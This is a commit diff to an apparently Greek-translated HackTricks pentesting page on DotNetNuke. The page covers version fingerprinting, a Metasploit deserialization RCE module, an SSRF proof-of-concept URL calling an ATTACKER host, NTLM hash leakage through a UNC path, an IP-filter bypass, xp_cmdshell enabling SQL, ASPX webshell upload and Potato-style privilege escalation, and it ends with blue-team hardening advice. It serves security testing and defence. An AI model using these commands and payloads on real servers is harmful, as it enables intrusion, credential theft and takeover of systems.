mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d
This commit is contained in:
parent
4ee52e1a02
commit
bb9e643f82
@ -4,37 +4,92 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
Αν εισέλθετε ως **administrator** στο DNN, είναι εύκολο να αποκτήσετε RCE.
|
||||
Αν εισέλθετε ως **administrator** στο DNN, είναι εύκολο να αποκτήσετε **RCE**, ωστόσο έχουν δημοσιευθεί αρκετές *unauthenticated* και *post-auth* τεχνικές τα τελευταία χρόνια. Το παρακάτω cheat-sheet συγκεντρώνει τις πιο χρήσιμες πρωτογενείς μεθόδους τόσο για επιθετική όσο και για αμυντική εργασία.
|
||||
|
||||
## RCE
|
||||
---
|
||||
## Έκδοση & Αριθμός Περιβάλλοντος
|
||||
|
||||
### Μέσω SQL
|
||||
* Ελέγξτε το *X-DNN* HTTP response header – συνήθως αποκαλύπτει την ακριβή έκδοση της πλατφόρμας.
|
||||
* Ο οδηγός εγκατάστασης διαρρέει την έκδοση στο `/Install/Install.aspx?mode=install` (προσβάσιμο σε πολύ παλιές εγκαταστάσεις).
|
||||
* `/API/PersonaBar/GetStatus` (9.x) επιστρέφει ένα JSON blob που περιέχει το `"dnnVersion"` για χρήστες χαμηλών δικαιωμάτων.
|
||||
* Τυπικά cookies που θα δείτε σε μια ζωντανή εγκατάσταση:
|
||||
* `.DOTNETNUKE` – ASP.NET forms authentication ticket.
|
||||
* `DNNPersonalization` – περιέχει XML/serialized δεδομένα προφίλ χρήστη (παλιές εκδόσεις – δείτε RCE παρακάτω).
|
||||
|
||||
Μια κονσόλα SQL είναι προσβάσιμη κάτω από τη σελίδα **`Settings`** όπου μπορείτε να ενεργοποιήσετε το **`xp_cmdshell`** και **να εκτελέσετε εντολές λειτουργικού συστήματος**.
|
||||
---
|
||||
## Μη Αυθεντική Εκμετάλλευση
|
||||
|
||||
Χρησιμοποιήστε αυτές τις γραμμές για να ενεργοποιήσετε το **`xp_cmdshell`**:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', '1'
|
||||
RECONFIGURE
|
||||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
### 1. Deserialization RCE Cookie (CVE-2017-9822 & follow-ups)
|
||||
*Επηρεαζόμενες εκδόσεις ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization` αποδομείται σε κάθε αίτημα όταν είναι ενεργοποιημένος ο ενσωματωμένος χειριστής 404. Έτσι, το κατεργασμένο XML μπορεί να οδηγήσει σε αυθαίρετες αλυσίδες gadget και εκτέλεση κώδικα.
|
||||
```
|
||||
Και πατήστε **"Run Script"** για να εκτελέσετε αυτές τις SQL εντολές.
|
||||
|
||||
Στη συνέχεια, χρησιμοποιήστε κάτι όπως το παρακάτω για να εκτελέσετε εντολές OS:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
### Μέσω ASP webshell
|
||||
Το module επιλέγει αυτόματα τη σωστή διαδρομή για τις διορθωμένες αλλά ακόμα ευάλωτες εκδόσεις (CVE-2018-15811/15812/18325/18326). Η εκμετάλλευση λειτουργεί **χωρίς αυθεντικοποίηση** σε 7.x–9.1.x και με έναν *επιβεβαιωμένο* λογαριασμό χαμηλών δικαιωμάτων σε 9.2.x+.
|
||||
|
||||
Στο `Settings -> Security -> More -> More Security Settings` μπορείτε να **προσθέσετε νέες επιτρεπόμενες επεκτάσεις** κάτω από `Allowable File Extensions`, και στη συνέχεια να κάνετε κλικ στο κουμπί `Save`.
|
||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||
*Επηρεαζόμενες εκδόσεις < 9.13.8 – Διόρθωση που εκδόθηκε Απρίλιο 2025*
|
||||
|
||||
Προσθέστε **`asp`** ή **`aspx`** και στη συνέχεια στο **`/admin/file-management`** ανεβάστε ένα **asp webshell** που ονομάζεται `shell.asp` για παράδειγμα.
|
||||
Μια παράκαμψη της παλαιότερης διόρθωσης `DnnImageHandler` επιτρέπει σε έναν επιτιθέμενο να αναγκάσει τον διακομιστή να εκδώσει **τυχαία GET αιτήματα** (ημι-τυφλό SSRF). Πρακτικές επιπτώσεις:
|
||||
|
||||
Στη συνέχεια, αποκτήστε πρόσβαση στο **`/Portals/0/shell.asp`** για να αποκτήσετε πρόσβαση στο webshell σας.
|
||||
* Εσωτερική σάρωση θυρών / ανακάλυψη υπηρεσιών μεταδεδομένων σε αναπτύξεις cloud.
|
||||
* Πρόσβαση σε hosts που αλλιώς είναι φραγμένοι από το Διαδίκτυο.
|
||||
|
||||
### Κλιμάκωση Δικαιωμάτων
|
||||
Απόδειξη της έννοιας (αντικαταστήστε `TARGET` & `ATTACKER`):
|
||||
```
|
||||
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
```
|
||||
Η αίτηση ενεργοποιείται στο παρασκήνιο. Παρακολουθήστε τον ακροατή σας για callbacks.
|
||||
|
||||
Μπορείτε να **κλιμακώσετε δικαιώματα** χρησιμοποιώντας το **Potatoes** ή το **PrintSpoofer** για παράδειγμα.
|
||||
### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488)
|
||||
*Επηρεαζόμενες εκδόσεις 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
Ειδικά κατασκευασμένο περιεχόμενο μπορεί να κάνει το DNN να προσπαθήσει να αποκτήσει μια πηγή χρησιμοποιώντας μια **UNC διαδρομή** όπως `\\attacker\share\img.png`. Τα Windows θα εκτελέσουν ευχαρίστως τη διαπραγμάτευση NTLM, διαρρέοντας τους hash λογαριασμού του διακομιστή στον επιτιθέμενο. Αναβαθμίστε σε **10.0.1** ή απενεργοποιήστε το SMB εξόδου στο τείχος προστασίας.
|
||||
|
||||
### 4. IP Filter Bypass (CVE-2025-52487)
|
||||
Εάν οι διαχειριστές βασίζονται σε *Host/IP Filters* για την προστασία της πύλης διαχείρισης, να γνωρίζετε ότι οι εκδόσεις πριν από **10.0.1** μπορούν να παρακαμφθούν με την παραποίηση του `X-Forwarded-For` σε σενάριο αντίστροφης προώθησης.
|
||||
|
||||
---
|
||||
## Post-Authentication to RCE
|
||||
|
||||
### Via SQL console
|
||||
Κάτω από **`Settings → SQL`** ένα ενσωματωμένο παράθυρο ερωτήματος επιτρέπει την εκτέλεση κατά της βάσης δεδομένων του ιστότοπου. Στον Microsoft SQL Server μπορείτε να ενεργοποιήσετε το **`xp_cmdshell`** και να δημιουργήσετε εντολές:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell', 1;
|
||||
RECONFIGURE;
|
||||
GO
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
||||
### Via ASPX webshell upload
|
||||
1. Go to **`Settings → Security → More → More Security Settings`**.
|
||||
2. Append `aspx` (or `asp`) to **Allowable File Extensions** and **Save**.
|
||||
3. Browse to **`/admin/file-management`** and upload `shell.aspx`.
|
||||
4. Trigger it at **`/Portals/0/shell.aspx`**.
|
||||
|
||||
---
|
||||
## Privilege Escalation on Windows
|
||||
Once code execution is achieved as **IIS AppPool\<Site>**, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** to abuse *SeImpersonatePrivilege*.
|
||||
* **Juicy/Sharp Potatoes** to escape *Service Accounts*.
|
||||
|
||||
---
|
||||
## Hardening Recommendations (Blue Team)
|
||||
|
||||
* **Upgrade** to at least **9.13.9** (fixes SSRF bypass) or preferably **10.0.1** (IP filter & NTLM issues).
|
||||
* Remove residual **`InstallWizard.aspx*`** files after installation.
|
||||
* Disable outbound SMB (ports 445/139) egress.
|
||||
* Enforce strong *Host Filters* on the edge proxy rather than within DNN.
|
||||
* Block access to `/API/RemoteContentProxy` if unused.
|
||||
|
||||
## References
|
||||
|
||||
* Metasploit `dnn_cookie_deserialization_rce` module documentation – practical unauthenticated RCE details (GitHub).
|
||||
* GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & patch information.
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user